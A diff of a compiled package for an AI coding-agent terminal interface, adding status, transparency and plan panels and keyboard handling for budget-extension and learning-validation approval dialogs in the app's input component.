  483. package/dist/src/shared/persistence.d.ts.map +1 -1
  484. package/dist/src/shared/persistence.js +2 -6
  485. package/dist/src/shared/persistence.js.map +1 -1
  486. package/dist/src/shared/shared-context-state.d.ts.map +1 -1
  487. package/dist/src/shared/shared-context-state.js.map +1 -1
  488. package/dist/src/shared/shared-economics-state.d.ts.map +1 -1
  489. package/dist/src/shared/shared-economics-state.js.map +1 -1
  490. package/dist/src/tools/agent.d.ts +1 -1
  491. package/dist/src/tools/agent.d.ts.map +1 -1
  492. package/dist/src/tools/agent.js +10 -7
  493. package/dist/src/tools/agent.js.map +1 -1
  494. package/dist/src/tools/bash.d.ts.map +1 -1
  495. package/dist/src/tools/bash.js.map +1 -1
  496. package/dist/src/tools/coercion.js +1 -1
  497. package/dist/src/tools/coercion.js.map +1 -1
  498. package/dist/src/tools/file.d.ts.map +1 -1
  499. package/dist/src/tools/file.js +1 -1
  500. package/dist/src/tools/file.js.map +1 -1
  501. package/dist/src/tools/permission.js +5 -6
  502. package/dist/src/tools/permission.js.map +1 -1
  503. package/dist/src/tools/registry.d.ts.map +1 -1
  504. package/dist/src/tools/registry.js +3 -5
  505. package/dist/src/tools/registry.js.map +1 -1
  506. package/dist/src/tools/standard.d.ts.map +1 -1
  507. package/dist/src/tools/standard.js +1 -3
  508. package/dist/src/tools/standard.js.map +1 -1
  509. package/dist/src/tools/tasks.d.ts.map +1 -1
  510. package/dist/src/tools/tasks.js +4 -4
  511. package/dist/src/tools/tasks.js.map +1 -1
  512. package/dist/src/tools/types.d.ts.map +1 -1
  513. package/dist/src/tools/types.js +5 -1
  514. package/dist/src/tools/types.js.map +1 -1
  515. package/dist/src/tools/undo.d.ts.map +1 -1
  516. package/dist/src/tools/undo.js +4 -2
  517. package/dist/src/tools/undo.js.map +1 -1
  518. package/dist/src/tracing/cache-boundary-tracker.d.ts.map +1 -1
  519. package/dist/src/tracing/cache-boundary-tracker.js +7 -11
  520. package/dist/src/tracing/cache-boundary-tracker.js.map +1 -1
  521. package/dist/src/tracing/trace-collector.d.ts.map +1 -1
  522. package/dist/src/tracing/trace-collector.js +28 -28
  523. package/dist/src/tracing/trace-collector.js.map +1 -1
  524. package/dist/src/tracing/types.d.ts.map +1 -1
  525. package/dist/src/tracing/types.js.map +1 -1
  526. package/dist/src/tricks/failure-evidence.d.ts.map +1 -1
  527. package/dist/src/tricks/failure-evidence.js +16 -26
  528. package/dist/src/tricks/failure-evidence.js.map +1 -1
  529. package/dist/src/tricks/json-utils.d.ts.map +1 -1
  530. package/dist/src/tricks/json-utils.js +1 -4
  531. package/dist/src/tricks/json-utils.js.map +1 -1
  532. package/dist/src/tricks/kv-cache-context.d.ts.map +1 -1
  533. package/dist/src/tricks/kv-cache-context.js +2 -3
  534. package/dist/src/tricks/kv-cache-context.js.map +1 -1
  535. package/dist/src/tricks/recitation.d.ts.map +1 -1
  536. package/dist/src/tricks/recitation.js +22 -18
  537. package/dist/src/tricks/recitation.js.map +1 -1
  538. package/dist/src/tricks/recursive-context.d.ts.map +1 -1
  539. package/dist/src/tricks/recursive-context.js +8 -5
  540. package/dist/src/tricks/recursive-context.js.map +1 -1
  541. package/dist/src/tricks/reversible-compaction.d.ts.map +1 -1
  542. package/dist/src/tricks/reversible-compaction.js +11 -7
  543. package/dist/src/tricks/reversible-compaction.js.map +1 -1
  544. package/dist/src/tricks/serialization-diversity.d.ts.map +1 -1
  545. package/dist/src/tricks/serialization-diversity.js +12 -12
  546. package/dist/src/tricks/serialization-diversity.js.map +1 -1
  547. package/dist/src/tui/app.d.ts +6 -2
  548. package/dist/src/tui/app.d.ts.map +1 -1
  549. package/dist/src/tui/app.js +636 -583
  550. package/dist/src/tui/app.js.map +1 -1
  551. package/dist/src/tui/components/ActiveAgentsPanel.d.ts +2 -0
  552. package/dist/src/tui/components/ActiveAgentsPanel.d.ts.map +1 -1
  553. package/dist/src/tui/components/ActiveAgentsPanel.js +5 -5
  554. package/dist/src/tui/components/ActiveAgentsPanel.js.map +1 -1
  555. package/dist/src/tui/components/ApprovalDialog.d.ts.map +1 -1
  556. package/dist/src/tui/components/ApprovalDialog.js +14 -0
  557. package/dist/src/tui/components/ApprovalDialog.js.map +1 -1
  558. package/dist/src/tui/components/BudgetExtensionDialog.d.ts +18 -0
  559. package/dist/src/tui/components/BudgetExtensionDialog.d.ts.map +1 -0
  560. package/dist/src/tui/components/BudgetExtensionDialog.js +40 -0
  561. package/dist/src/tui/components/BudgetExtensionDialog.js.map +1 -0
  562. package/dist/src/tui/components/CollapsibleDiffView.d.ts.map +1 -1
  563. package/dist/src/tui/components/CollapsibleDiffView.js +18 -13
  564. package/dist/src/tui/components/CollapsibleDiffView.js.map +1 -1
  565. package/dist/src/tui/components/DebugPanel.d.ts.map +1 -1
  566. package/dist/src/tui/components/DebugPanel.js +46 -26
  567. package/dist/src/tui/components/DebugPanel.js.map +1 -1
  568. package/dist/src/tui/components/DiagnosticsPanel.d.ts.map +1 -1
  569. package/dist/src/tui/components/DiagnosticsPanel.js +18 -2
  570. package/dist/src/tui/components/DiagnosticsPanel.js.map +1 -1
  571. package/dist/src/tui/components/DiffView.d.ts.map +1 -1
  572. package/dist/src/tui/components/DiffView.js +21 -14
  573. package/dist/src/tui/components/DiffView.js.map +1 -1
  574. package/dist/src/tui/components/ErrorBoundary.d.ts.map +1 -1
  575. package/dist/src/tui/components/ErrorBoundary.js +7 -2
  576. package/dist/src/tui/components/ErrorBoundary.js.map +1 -1
  577. package/dist/src/tui/components/ErrorDetailPanel.d.ts.map +1 -1
  578. package/dist/src/tui/components/ErrorDetailPanel.js +4 -4
  579. package/dist/src/tui/components/ErrorDetailPanel.js.map +1 -1
  580. package/dist/src/tui/components/FileChangeSummary.d.ts.map +1 -1
  581. package/dist/src/tui/components/FileChangeSummary.js +3 -3
  582. package/dist/src/tui/components/FileChangeSummary.js.map +1 -1
  583. package/dist/src/tui/components/InputArea.d.ts.map +1 -1
  584. package/dist/src/tui/components/InputArea.js +32 -15
  585. package/dist/src/tui/components/InputArea.js.map +1 -1
  586. package/dist/src/tui/components/LearningValidationDialog.d.ts +25 -0
  587. package/dist/src/tui/components/LearningValidationDialog.d.ts.map +1 -0
  588. package/dist/src/tui/components/LearningValidationDialog.js +35 -0
  589. package/dist/src/tui/components/LearningValidationDialog.js.map +1 -0
  590. package/dist/src/tui/components/MessageItem.d.ts.map +1 -1
  591. package/dist/src/tui/components/MessageItem.js.map +1 -1
  592. package/dist/src/tui/components/PlanPanel.d.ts +27 -0
  593. package/dist/src/tui/components/PlanPanel.d.ts.map +1 -0
  594. package/dist/src/tui/components/PlanPanel.js +45 -0
  595. package/dist/src/tui/components/PlanPanel.js.map +1 -0
  596. package/dist/src/tui/components/ScrollableBox.d.ts.map +1 -1
  597. package/dist/src/tui/components/ScrollableBox.js +2 -2
  598. package/dist/src/tui/components/ScrollableBox.js.map +1 -1
  599. package/dist/src/tui/components/SideBySideDiff.d.ts.map +1 -1
  600. package/dist/src/tui/components/SideBySideDiff.js +20 -18
  601. package/dist/src/tui/components/SideBySideDiff.js.map +1 -1
  602. package/dist/src/tui/components/StatusBar.d.ts +41 -0
  603. package/dist/src/tui/components/StatusBar.d.ts.map +1 -0
  604. package/dist/src/tui/components/StatusBar.js +114 -0
  605. package/dist/src/tui/components/StatusBar.js.map +1 -0
  606. package/dist/src/tui/components/SwarmStatusPanel.d.ts.map +1 -1
  607. package/dist/src/tui/components/SwarmStatusPanel.js +25 -17
  608. package/dist/src/tui/components/SwarmStatusPanel.js.map +1 -1
  609. package/dist/src/tui/components/TasksPanel.d.ts.map +1 -1
  610. package/dist/src/tui/components/TasksPanel.js +12 -11
  611. package/dist/src/tui/components/TasksPanel.js.map +1 -1
  612. package/dist/src/tui/components/ToolCallItem.d.ts.map +1 -1
  613. package/dist/src/tui/components/ToolCallItem.js +19 -6
  614. package/dist/src/tui/components/ToolCallItem.js.map +1 -1
  615. package/dist/src/tui/components/ToolCallsPanel.d.ts +15 -0
  616. package/dist/src/tui/components/ToolCallsPanel.d.ts.map +1 -0
  617. package/dist/src/tui/components/ToolCallsPanel.js +34 -0
  618. package/dist/src/tui/components/ToolCallsPanel.js.map +1 -0
  619. package/dist/src/tui/components/TransparencyPanel.d.ts +15 -0
  620. package/dist/src/tui/components/TransparencyPanel.d.ts.map +1 -0
  621. package/dist/src/tui/components/TransparencyPanel.js +46 -0
  622. package/dist/src/tui/components/TransparencyPanel.js.map +1 -0
  623. package/dist/src/tui/components/index.d.ts +8 -2
  624. package/dist/src/tui/components/index.d.ts.map +1 -1
  625. package/dist/src/tui/components/index.js +14 -2
  626. package/dist/src/tui/components/index.js.map +1 -1
  627. package/dist/src/tui/event-display.d.ts.map +1 -1
  628. package/dist/src/tui/event-display.js +12 -3
  629. package/dist/src/tui/event-display.js.map +1 -1
  630. package/dist/src/tui/hooks/index.d.ts +1 -0
  631. package/dist/src/tui/hooks/index.d.ts.map +1 -1
  632. package/dist/src/tui/hooks/index.js +1 -0
  633. package/dist/src/tui/hooks/index.js.map +1 -1
  634. package/dist/src/tui/hooks/use-agent-events.d.ts +53 -0
  635. package/dist/src/tui/hooks/use-agent-events.d.ts.map +1 -0
  636. package/dist/src/tui/hooks/use-agent-events.js +444 -0
  637. package/dist/src/tui/hooks/use-agent-events.js.map +1 -0
  638. package/dist/src/tui/hooks/use-throttled-state.d.ts +18 -0
  639. package/dist/src/tui/hooks/use-throttled-state.d.ts.map +1 -0
  640. package/dist/src/tui/hooks/use-throttled-state.js +93 -0
  641. package/dist/src/tui/hooks/use-throttled-state.js.map +1 -0
  642. package/dist/src/tui/hooks/useMessagePruning.d.ts.map +1 -1
  643. package/dist/src/tui/hooks/useMessagePruning.js.map +1 -1
  644. package/dist/src/tui/index.d.ts +2 -2
  645. package/dist/src/tui/index.d.ts.map +1 -1
  646. package/dist/src/tui/index.js +101 -6
  647. package/dist/src/tui/index.js.map +1 -1
  648. package/dist/src/tui/input/CommandPalette.d.ts.map +1 -1
  649. package/dist/src/tui/input/CommandPalette.js +2 -2
  650. package/dist/src/tui/input/CommandPalette.js.map +1 -1
  651. package/dist/src/tui/input/index.d.ts +1 -1
  652. package/dist/src/tui/input/index.d.ts.map +1 -1
  653. package/dist/src/tui/input/index.js +1 -1
  654. package/dist/src/tui/input/index.js.map +1 -1
  655. package/dist/src/tui/syntax/languages/bash.js +94 -16
  656. package/dist/src/tui/syntax/languages/bash.js.map +1 -1
  657. package/dist/src/tui/syntax/languages/javascript.js +65 -12
  658. package/dist/src/tui/syntax/languages/javascript.js.map +1 -1
  659. package/dist/src/tui/syntax/languages/json.js.map +1 -1
  660. package/dist/src/tui/syntax/languages/python.js +81 -15
  661. package/dist/src/tui/syntax/languages/python.js.map +1 -1
  662. package/dist/src/tui/theme/index.js.map +1 -1
  663. package/dist/src/tui/transparency-aggregator.d.ts.map +1 -1
  664. package/dist/src/tui/transparency-aggregator.js +18 -4
  665. package/dist/src/tui/transparency-aggregator.js.map +1 -1
  666. package/dist/src/tui/types.d.ts.map +1 -1
  667. package/dist/src/tui/types.js.map +1 -1
  668. package/dist/src/tui/utils/keyboard.d.ts.map +1 -1
  669. package/dist/src/tui/utils/keyboard.js.map +1 -1
  670. package/dist/src/types.d.ts +12 -0
  671. package/dist/src/types.d.ts.map +1 -1
  672. package/package.json +1 -1
@@ -13,19 +13,30 @@ import { Box, Text, useApp, useInput, Static } from 'ink';
13
13
  import { ActiveAgentsPanel } from './components/ActiveAgentsPanel.js';
14
14
  import { TasksPanel } from './components/TasksPanel.js';
15
15
  import { SwarmStatusPanel } from './components/SwarmStatusPanel.js';
16
- import { ToolCallItem } from './components/ToolCallItem.js';
17
16
  import { DebugPanel, useDebugBuffer } from './components/DebugPanel.js';
18
17
  import { DiagnosticsPanel } from './components/DiagnosticsPanel.js';
19
18
  import { runTypeCheck, getASTCacheStats } from '../integrations/index.js';
20
19
  import { estimateTokenCount } from '../integrations/utilities/token-estimate.js';
20
+ import { StatusBar } from './components/StatusBar.js';
21
+ import { ToolCallsPanel } from './components/ToolCallsPanel.js';
22
+ import { TransparencyPanel } from './components/TransparencyPanel.js';
23
+ import { useAgentEvents } from './hooks/use-agent-events.js';
24
+ import { useMessagePruning } from './hooks/useMessagePruning.js';
21
25
  import { getTheme, getThemeNames } from './theme/index.js';
22
26
  import { ControlledCommandPalette } from './input/CommandPalette.js';
23
27
  import { ApprovalDialog } from './components/ApprovalDialog.js';
24
- import { TransparencyAggregator } from './transparency-aggregator.js';
28
+ import { BudgetExtensionDialog } from './components/BudgetExtensionDialog.js';
29
+ import { LearningValidationDialog } from './components/LearningValidationDialog.js';
30
+ import { PlanPanel } from './components/PlanPanel.js';
25
31
  import { handleSkillsCommand } from '../commands/skills-commands.js';
26
32
  import { handleAgentsCommand } from '../commands/agents-commands.js';
27
33
  import { handleInitCommand } from '../commands/init-commands.js';
28
34
  import { createHistoryManager } from '../integrations/persistence/history.js';
35
+ // Module-level constant for DiagnosticsPanel fallback (prevents new object each render)
36
+ const EMPTY_DIAGNOSTICS = {
37
+ lastTscResult: null,
38
+ recentSyntaxErrors: [],
39
+ };
29
40
  // =============================================================================
30
41
  // PATTERN GENERATION FOR ALWAYS-ALLOW
31
42
  // =============================================================================
@@ -61,7 +72,7 @@ function generateApprovalPattern(request) {
61
72
  return `${tool}:${path}`;
62
73
  }
63
74
  // Default: tool + first string argument
64
- const firstStringArg = Object.values(args).find(v => typeof v === 'string');
75
+ const firstStringArg = Object.values(args).find((v) => typeof v === 'string');
65
76
  return `${tool}:${firstStringArg || ''}`;
66
77
  }
67
78
  function buildAutoLoopPrompt(details, promptStyle, reason, openTasks) {
@@ -75,7 +86,9 @@ function buildAutoLoopPrompt(details, promptStyle, reason, openTasks) {
75
86
  taskSummary,
76
87
  'Continue working on the remaining tasks. Pick up the next available task and execute it.',
77
88
  details ? `Context: ${details}` : '',
78
- ].filter(Boolean).join('\n');
89
+ ]
90
+ .filter(Boolean)
91
+ .join('\n');
79
92
  }
80
93
  if (promptStyle === 'concise') {
81
94
  return `[System] Continue now and execute required actions immediately. Avoid future-intent phrasing. ${details ? `Context: ${details}` : ''}`.trim();
@@ -85,7 +98,9 @@ function buildAutoLoopPrompt(details, promptStyle, reason, openTasks) {
85
98
  'Continue from current state and execute the remaining action now with tools if needed.',
86
99
  'Do not describe what you will do next. Either perform the action or provide a final completion statement.',
87
100
  details ? `Context: ${details}` : '',
88
- ].filter(Boolean).join('\n');
101
+ ]
102
+ .filter(Boolean)
103
+ .join('\n');
89
104
  }
90
105
  export async function runWithIncompleteAutoLoop(agent, task, callbacks) {
91
106
  const resilienceCfgRaw = agent.getResilienceConfig?.();
@@ -98,14 +113,14 @@ export async function runWithIncompleteAutoLoop(agent, task, callbacks) {
98
113
  let result = await agent.run(task);
99
114
  const reasonChain = [result.completion.reason];
100
115
  let autoLoopRuns = 0;
101
- const isRetryableReason = (reason) => reason === 'future_intent'
102
- || reason === 'incomplete_action'
103
- || reason === 'open_tasks'
104
- || reason === 'budget_limit';
105
- while (!result.success
106
- && incompleteAutoLoop
107
- && isRetryableReason(result.completion.reason)
108
- && autoLoopRuns < maxIncompleteAutoLoops) {
116
+ const isRetryableReason = (reason) => reason === 'future_intent' ||
117
+ reason === 'incomplete_action' ||
118
+ reason === 'open_tasks' ||
119
+ reason === 'budget_limit';
120
+ while (!result.success &&
121
+ incompleteAutoLoop &&
122
+ isRetryableReason(result.completion.reason) &&
123
+ autoLoopRuns < maxIncompleteAutoLoops) {
109
124
  autoLoopRuns++;
110
125
  callbacks?.onRetry?.(autoLoopRuns, maxIncompleteAutoLoops);
111
126
  const recoveryPrompt = buildAutoLoopPrompt(result.completion.details, promptStyle, result.completion.reason, result.completion.openTasks);
@@ -135,7 +150,7 @@ const MessageItem = memo(function MessageItem({ msg, colors }) {
135
150
  const label = isUser ? 'You' : isAssistant ? 'Assistant' : isError ? 'Error' : 'System';
136
151
  return (_jsxs(Box, { marginBottom: 1, flexDirection: "column", children: [_jsxs(Box, { gap: 1, children: [_jsx(Text, { color: roleColor, bold: true, children: icon }), _jsx(Text, { color: roleColor, bold: true, children: label }), _jsx(Text, { color: colors.textMuted, dimColor: true, children: ` ${msg.ts.toLocaleTimeString('en-US', { hour: '2-digit', minute: '2-digit' })}` })] }), _jsx(Box, { marginLeft: 2, children: _jsx(Text, { wrap: "wrap", color: isError ? colors.error : colors.text, children: msg.content }) })] }));
137
152
  });
138
- const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled, borderColor, textColor, cursorColor, onCtrlC, onCtrlL, onCtrlP, onEscape, onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics, onPageUp, onPageDown, onHome, onEnd, commandPaletteOpen, onCommandPaletteInput, approvalDialogOpen, approvalDenyReasonMode, onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason, onApprovalCancelDenyReason, onApprovalDenyReasonInput, history = [], onHistorySearch, }) {
153
+ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled, borderColor, textColor, cursorColor, onCtrlC, onCtrlL, onCtrlP, onEscape, onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics, onPageUp, onPageDown, onHome, onEnd, commandPaletteOpen, onCommandPaletteInput, approvalDialogOpen, approvalDenyReasonMode, onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason, onApprovalCancelDenyReason, onApprovalDenyReasonInput, budgetExtensionDialogOpen, onBudgetExtensionApprove, onBudgetExtensionDeny, learningValidationDialogOpen, onLearningApprove, onLearningReject, onLearningSkip, history = [], onHistorySearch, }) {
139
154
  const [value, setValue] = useState('');
140
155
  const [cursorPos, setCursorPos] = useState(0);
141
156
  // History navigation state
@@ -145,23 +160,77 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
145
160
  historyRef.current = history;
146
161
  // Store callbacks in refs so useInput doesn't re-subscribe on prop changes
147
162
  const callbacksRef = useRef({
148
- onSubmit, onCtrlC, onCtrlL, onCtrlP, onEscape,
149
- onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics,
150
- onPageUp, onPageDown, onHome, onEnd,
151
- commandPaletteOpen, onCommandPaletteInput,
152
- approvalDialogOpen, approvalDenyReasonMode,
153
- onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason,
154
- onApprovalCancelDenyReason, onApprovalDenyReasonInput,
163
+ onSubmit,
164
+ onCtrlC,
165
+ onCtrlL,
166
+ onCtrlP,
167
+ onEscape,
168
+ onToggleToolExpand,
169
+ onToggleThinking,
170
+ onToggleTransparency,
171
+ onToggleActiveAgents,
172
+ onToggleTasks,
173
+ onToggleDebug,
174
+ onToggleSwarm,
175
+ onToggleDiagnostics,
176
+ onPageUp,
177
+ onPageDown,
178
+ onHome,
179
+ onEnd,
180
+ commandPaletteOpen,
181
+ onCommandPaletteInput,
182
+ approvalDialogOpen,
183
+ approvalDenyReasonMode,
184
+ onApprovalApprove,
185
+ onApprovalAlwaysAllow,
186
+ onApprovalDeny,
187
+ onApprovalDenyWithReason,
188
+ onApprovalCancelDenyReason,
189
+ onApprovalDenyReasonInput,
190
+ budgetExtensionDialogOpen,
191
+ onBudgetExtensionApprove,
192
+ onBudgetExtensionDeny,
193
+ learningValidationDialogOpen,
194
+ onLearningApprove,
195
+ onLearningReject,
196
+ onLearningSkip,
155
197
  onHistorySearch,
156
198
  });
157
199
  callbacksRef.current = {
158
- onSubmit, onCtrlC, onCtrlL, onCtrlP, onEscape,
159
- onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics,
160
- onPageUp, onPageDown, onHome, onEnd,
161
- commandPaletteOpen, onCommandPaletteInput,
162
- approvalDialogOpen, approvalDenyReasonMode,
163
- onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason,
164
- onApprovalCancelDenyReason, onApprovalDenyReasonInput,
200
+ onSubmit,
201
+ onCtrlC,
202
+ onCtrlL,
203
+ onCtrlP,
204
+ onEscape,
205
+ onToggleToolExpand,
206
+ onToggleThinking,
207
+ onToggleTransparency,
208
+ onToggleActiveAgents,
209
+ onToggleTasks,
210
+ onToggleDebug,
211
+ onToggleSwarm,
212
+ onToggleDiagnostics,
213
+ onPageUp,
214
+ onPageDown,
215
+ onHome,
216
+ onEnd,
217
+ commandPaletteOpen,
218
+ onCommandPaletteInput,
219
+ approvalDialogOpen,
220
+ approvalDenyReasonMode,
221
+ onApprovalApprove,
222
+ onApprovalAlwaysAllow,
223
+ onApprovalDeny,
224
+ onApprovalDenyWithReason,
225
+ onApprovalCancelDenyReason,
226
+ onApprovalDenyReasonInput,
227
+ budgetExtensionDialogOpen,
228
+ onBudgetExtensionApprove,
229
+ onBudgetExtensionDeny,
230
+ learningValidationDialogOpen,
231
+ onLearningApprove,
232
+ onLearningReject,
233
+ onLearningSkip,
165
234
  onHistorySearch,
166
235
  };
167
236
  const disabledRef = useRef(disabled);
@@ -268,6 +337,36 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
268
337
  // Block other input while approval dialog is open
269
338
  return;
270
339
  }
340
+ // Budget extension dialog keyboard handling (when open)
341
+ if (cb.budgetExtensionDialogOpen) {
342
+ if (input === 'y' || input === 'Y') {
343
+ cb.onBudgetExtensionApprove?.();
344
+ return;
345
+ }
346
+ if (input === 'n' || input === 'N') {
347
+ cb.onBudgetExtensionDeny?.();
348
+ return;
349
+ }
350
+ // Block other input while dialog is open
351
+ return;
352
+ }
353
+ // Learning validation dialog keyboard handling (when open)
354
+ if (cb.learningValidationDialogOpen) {
355
+ if (input === 'y' || input === 'Y') {
356
+ cb.onLearningApprove?.();
357
+ return;
358
+ }
359
+ if (input === 'n' || input === 'N') {
360
+ cb.onLearningReject?.();
361
+ return;
362
+ }
363
+ if (input === 's' || input === 'S') {
364
+ cb.onLearningSkip?.();
365
+ return;
366
+ }
367
+ // Block other input while dialog is open
368
+ return;
369
+ }
271
370
  // Scroll navigation
272
371
  if (key.pageUp) {
273
372
  cb.onPageUp?.();
@@ -290,8 +389,8 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
290
389
  return;
291
390
  // Shift+Enter for multiline input (insert newline)
292
391
  if (key.return && key.shift) {
293
- setValue(v => v.slice(0, cursorPos) + '\n' + v.slice(cursorPos));
294
- setCursorPos(p => p + 1);
392
+ setValue((v) => v.slice(0, cursorPos) + '\n' + v.slice(cursorPos));
393
+ setCursorPos((p) => p + 1);
295
394
  return;
296
395
  }
297
396
  if (key.return && value.trim()) {
@@ -304,22 +403,22 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
304
403
  }
305
404
  if (key.backspace || key.delete) {
306
405
  if (cursorPos > 0) {
307
- setValue(v => v.slice(0, cursorPos - 1) + v.slice(cursorPos));
308
- setCursorPos(p => p - 1);
406
+ setValue((v) => v.slice(0, cursorPos - 1) + v.slice(cursorPos));
407
+ setCursorPos((p) => p - 1);
309
408
  }
310
409
  return;
311
410
  }
312
411
  if (key.leftArrow) {
313
- setCursorPos(p => Math.max(0, p - 1));
412
+ setCursorPos((p) => Math.max(0, p - 1));
314
413
  return;
315
414
  }
316
415
  if (key.rightArrow) {
317
- setCursorPos(p => Math.min(value.length, p + 1));
416
+ setCursorPos((p) => Math.min(value.length, p + 1));
318
417
  return;
319
418
  }
320
419
  // History navigation with up/down arrows
321
420
  if (key.upArrow && historyRef.current.length > 0) {
322
- setHistoryIndex(prevIndex => {
421
+ setHistoryIndex((prevIndex) => {
323
422
  const maxIndex = historyRef.current.length - 1;
324
423
  if (prevIndex === -1) {
325
424
  // First press - save current input and go to most recent history
@@ -342,7 +441,7 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
342
441
  return;
343
442
  }
344
443
  if (key.downArrow && historyRef.current.length > 0) {
345
- setHistoryIndex(prevIndex => {
444
+ setHistoryIndex((prevIndex) => {
346
445
  if (prevIndex === -1) {
347
446
  // Not browsing history, do nothing
348
447
  return -1;
@@ -379,40 +478,102 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
379
478
  return;
380
479
  }
381
480
  if (input && !key.ctrl && !key.meta) {
382
- setValue(v => v.slice(0, cursorPos) + input + v.slice(cursorPos));
383
- setCursorPos(p => p + input.length);
481
+ setValue((v) => v.slice(0, cursorPos) + input + v.slice(cursorPos));
482
+ setCursorPos((p) => p + input.length);
384
483
  }
385
484
  });
386
485
  // Check if multiline (for visual indicator)
387
486
  const isMultiline = value.includes('\n');
388
487
  const lineCount = value.split('\n').length;
389
- return (_jsx(Box, { borderStyle: "round", borderColor: disabledRef.current ? '#666' : borderColor, paddingX: 1, flexDirection: "column", children: _jsxs(Box, { children: [_jsxs(Text, { color: textColor, bold: true, children: [isMultiline ? '»' : '>', " "] }), _jsx(Text, { children: value.slice(0, cursorPos).replace(/\n/g, '⏎') }), !disabled && (_jsx(Text, { backgroundColor: cursorColor, color: "#1a1a2e", children: value[cursorPos] === '\n' ? '⏎' : (value[cursorPos] ?? ' ') })), _jsx(Text, { children: value.slice(cursorPos + 1).replace(/\n/g, '⏎') }), isMultiline && (_jsxs(Text, { color: "#666", dimColor: true, children: [" (", lineCount, " lines)"] }))] }) }));
488
+ return (_jsx(Box, { borderStyle: "round", borderColor: disabledRef.current ? '#666' : borderColor, paddingX: 1, flexDirection: "column", children: _jsxs(Box, { children: [_jsxs(Text, { color: textColor, bold: true, children: [isMultiline ? '»' : '>', ' '] }), _jsx(Text, { children: value.slice(0, cursorPos).replace(/\n/g, '⏎') }), !disabled && (_jsx(Text, { backgroundColor: cursorColor, color: "#1a1a2e", children: value[cursorPos] === '\n' ? '⏎' : (value[cursorPos] ?? ' ') })), _jsx(Text, { children: value.slice(cursorPos + 1).replace(/\n/g, '⏎') }), isMultiline && (_jsxs(Text, { color: "#666", dimColor: true, children: [' ', "(", lineCount, " lines)"] }))] }) }));
390
489
  }, (prevProps, nextProps) => {
391
490
  // Custom comparison: only re-render if visual props change
392
- return prevProps.disabled === nextProps.disabled &&
491
+ return (prevProps.disabled === nextProps.disabled &&
393
492
  prevProps.borderColor === nextProps.borderColor &&
394
493
  prevProps.textColor === nextProps.textColor &&
395
494
  prevProps.cursorColor === nextProps.cursorColor &&
396
495
  prevProps.commandPaletteOpen === nextProps.commandPaletteOpen &&
397
496
  prevProps.approvalDialogOpen === nextProps.approvalDialogOpen &&
398
- prevProps.approvalDenyReasonMode === nextProps.approvalDenyReasonMode;
497
+ prevProps.approvalDenyReasonMode === nextProps.approvalDenyReasonMode &&
498
+ prevProps.budgetExtensionDialogOpen === nextProps.budgetExtensionDialogOpen &&
499
+ prevProps.learningValidationDialogOpen === nextProps.learningValidationDialogOpen);
399
500
  });
400
501
  // =============================================================================
401
502
  // MAIN TUI APP COMPONENT
402
503
  // =============================================================================
403
- export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager, theme, model, gitBranch, currentSessionId, formatSessionsTable, saveCheckpointToStore, persistenceDebug, approvalBridge, }) {
504
+ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager, theme, model, gitBranch, currentSessionId, formatSessionsTable, saveCheckpointToStore, persistenceDebug, approvalBridge, budgetExtensionBridge, learningValidationBridge, }) {
404
505
  const { exit } = useApp();
405
506
  const [messages, setMessages] = useState([]);
406
507
  const [isProcessing, setIsProcessing] = useState(false);
407
508
  const initialModeInfo = agent.getModeInfo();
408
509
  const initialMode = initialModeInfo.name === 'Plan' ? 'ready (plan)' : 'ready';
409
510
  const [status, setStatus] = useState({ iter: 0, tokens: 0, cost: 0, mode: initialMode });
511
+ // Quantized status for StatusBar — only produces a new reference when values
512
+ // cross meaningful thresholds (cost >$0.001, tokens >5k). This makes the memo
513
+ // comparator in StatusBar effective: React skips calling it entirely when the
514
+ // useMemo reference is stable.
515
+ const statusForBar = useMemo(() => ({
516
+ iter: status.iter,
517
+ mode: status.mode,
518
+ cost: Math.round(status.cost * 1000) / 1000,
519
+ tokens: Math.round(status.tokens / 5000) * 5000,
520
+ }), [status.iter, status.mode,
521
+ // eslint-disable-next-line react-hooks/exhaustive-deps
522
+ Math.round(status.cost * 1000),
523
+ // eslint-disable-next-line react-hooks/exhaustive-deps
524
+ Math.round(status.tokens / 5000)]);
525
+ // Throttled mode-only setter for handleAgentEvent — rapid mode transitions
526
+ // (thinking→calling X→thinking) collapse into the latest value instead of
527
+ // triggering 5-7 renders per LLM iteration
528
+ const statusModeTimerRef = useRef(null);
529
+ const pendingStatusRef = useRef(null);
530
+ const lastStatusModeUpdateRef = useRef(0);
531
+ const STATUS_MODE_THROTTLE_MS = 150;
532
+ const setStatusThrottled = useCallback((updater) => {
533
+ const now = Date.now();
534
+ const elapsed = now - lastStatusModeUpdateRef.current;
535
+ if (elapsed >= STATUS_MODE_THROTTLE_MS) {
536
+ lastStatusModeUpdateRef.current = now;
537
+ setStatus(updater);
538
+ pendingStatusRef.current = null;
539
+ }
540
+ else {
541
+ pendingStatusRef.current = updater;
542
+ if (!statusModeTimerRef.current) {
543
+ statusModeTimerRef.current = setTimeout(() => {
544
+ statusModeTimerRef.current = null;
545
+ if (pendingStatusRef.current) {
546
+ lastStatusModeUpdateRef.current = Date.now();
547
+ setStatus(pendingStatusRef.current);
548
